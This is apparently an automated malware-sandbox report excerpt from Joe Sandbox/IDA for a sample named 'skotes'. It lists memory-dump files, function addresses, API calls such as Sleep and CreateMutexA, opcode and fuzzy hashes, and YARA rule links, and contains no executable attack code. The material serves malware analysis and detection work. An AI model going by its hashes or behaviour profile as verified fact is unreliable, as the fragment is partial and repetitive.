Associated: 00000007.00000002.2333956346.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333983210.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334008038.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334029760.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334052043.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334075304.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334103251.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334127891.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334149851.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334173962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334196916.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334219324.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334242592.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334265568.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334289461.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334312456.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334336587.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334359241.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334381703.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334406835.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334430287.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334456484.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334479044.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334503416.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334581394.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334604657.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334627692.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334651207.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334673504.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334697958.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334722839.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334763244.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334801690.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4844877e31310a23d09d3ac17c6ed0bc3b318d9634ea8bfd61486f868d698d48
Instruction ID: cdae058234d43ac1d2dc0d59028f68b02a6e9bd985ff2fb33febaaf91b857578
Opcode Fuzzy Hash: 4844877e31310a23d09d3ac17c6ed0bc3b318d9634ea8bfd61486f868d698d48
Instruction Fuzzy Hash: 78210A71704208DBEB1C9F68EE8DB6CF762EBC1314F24522DE414E73D5D77A99828A11

Function 00ECA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000007.00000002.2333279261.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333305676.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333377923.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333403859.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333441982.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333539352.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333567906.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333595785.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333621490.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333694071.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333715781.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333741427.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333763543.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333790312.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333812997.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333838593.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333860553.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333886166.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333908232.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333932414.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333956346.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333983210.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334008038.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334029760.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334052043.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334075304.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334103251.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334127891.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334149851.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334173962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334196916.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334219324.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334242592.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334265568.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334289461.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334312456.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334336587.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334359241.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334381703.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334406835.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334430287.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334456484.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334479044.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334503416.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334581394.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334604657.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334627692.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334651207.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334673504.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334697958.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334722839.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334763244.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334801690.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c815ad7467833a771b17740dba720f6e763eff58ad33c4dd928dc88ecf0deb6c
Instruction ID: 13a5e4a32adc411984b5d829336bf40234ef296a1e861442fefebe568c98243a
Opcode Fuzzy Hash: c815ad7467833a771b17740dba720f6e763eff58ad33c4dd928dc88ecf0deb6c
Instruction Fuzzy Hash: F5212071744209D7E72C5B68DA4EF6DF661DF81308F28142EE444F63D1CA7B89839553

Function 00ECA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000007.00000002.2333279261.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333305676.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333377923.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333403859.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333441982.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333539352.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333567906.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333595785.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333621490.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333694071.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333715781.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333741427.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333763543.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333790312.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333812997.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333838593.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333860553.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333886166.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333908232.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333932414.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333956346.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333983210.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334008038.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334029760.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334052043.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334075304.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334103251.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334127891.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334149851.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334173962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334196916.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334219324.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334242592.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334265568.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334289461.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334312456.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334336587.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334359241.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334381703.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334406835.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334430287.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334456484.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334479044.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334503416.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334581394.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334604657.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334627692.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334651207.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334673504.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334697958.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334722839.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334763244.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334801690.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 62cba5dfdbaebd18113502a138199563b1afca2682791a73ebe79487ae10be38
Instruction ID: 4046ccfcfa53ece0e5dc81745a6f30a1430c0c95e5335be00ec0abdaa19b99a2
Opcode Fuzzy Hash: 62cba5dfdbaebd18113502a138199563b1afca2682791a73ebe79487ae10be38
Instruction Fuzzy Hash: 34214B7170420897EB189B6CEE89B6CF762DBC1318F28522DE404F73D0C77B99828652

Non-executed Functions

Function 00EC2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00EC2F5F
GetCurrentThreadId.KERNEL32 ref: 00EC2F7E
__Mtx_unlock.LIBCPMT ref: 00EC2FCC
__Cnd_broadcast.LIBCPMT ref: 00EC2FE3
__Mtx_unlock.LIBCPMT ref: 00EC30F5
GetCurrentThreadId.KERNEL32 ref: 00EC3132
__Mtx_unlock.LIBCPMT ref: 00EC319B

Memory Dump Source

Source File: 00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000007.00000002.2333279261.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333305676.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333377923.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333403859.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333441982.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333539352.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333567906.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333595785.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333621490.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333694071.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333715781.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333741427.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333763543.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333790312.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333812997.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333838593.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333860553.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333886166.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333908232.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333932414.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333956346.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333983210.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334008038.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334029760.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334052043.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334075304.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334103251.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334127891.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334149851.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334173962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334196916.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334219324.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334242592.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334265568.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334289461.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334312456.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334336587.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334359241.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334381703.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334406835.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334430287.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334456484.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334479044.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334503416.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334581394.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334604657.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334627692.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334651207.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334673504.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334697958.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334722839.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334763244.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334801690.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 68df3238d5e5f106a33b4c0dd9f963d49e2a52c4ebe8b90319be213602bf49f6
Instruction ID: b533e5a1bfee4eef9659c9242b6ba3ad93401655092600a2141df9cdc29fedcd
Opcode Fuzzy Hash: 68df3238d5e5f106a33b4c0dd9f963d49e2a52c4ebe8b90319be213602bf49f6
Instruction Fuzzy Hash: 94A1E171A016069FDB20DF74CA45B9AB7E8FF14358F14A12EE815E7341EB32DA06CB91

Function 00EFCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EFCC66

Strings

v, xrefs: 00EFCBE1

Memory Dump Source

Source File: 00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000007.00000002.2333279261.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333305676.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333377923.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333403859.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333441982.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333539352.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333567906.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333595785.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333621490.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333694071.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333715781.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333741427.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333763543.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333790312.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333812997.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333838593.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333860553.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333886166.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333908232.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333932414.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333956346.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333983210.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334008038.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334029760.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334052043.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334075304.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334103251.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334127891.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334149851.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334173962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334196916.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334219324.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334242592.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334265568.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334289461.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334312456.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334336587.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334359241.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334381703.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334406835.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
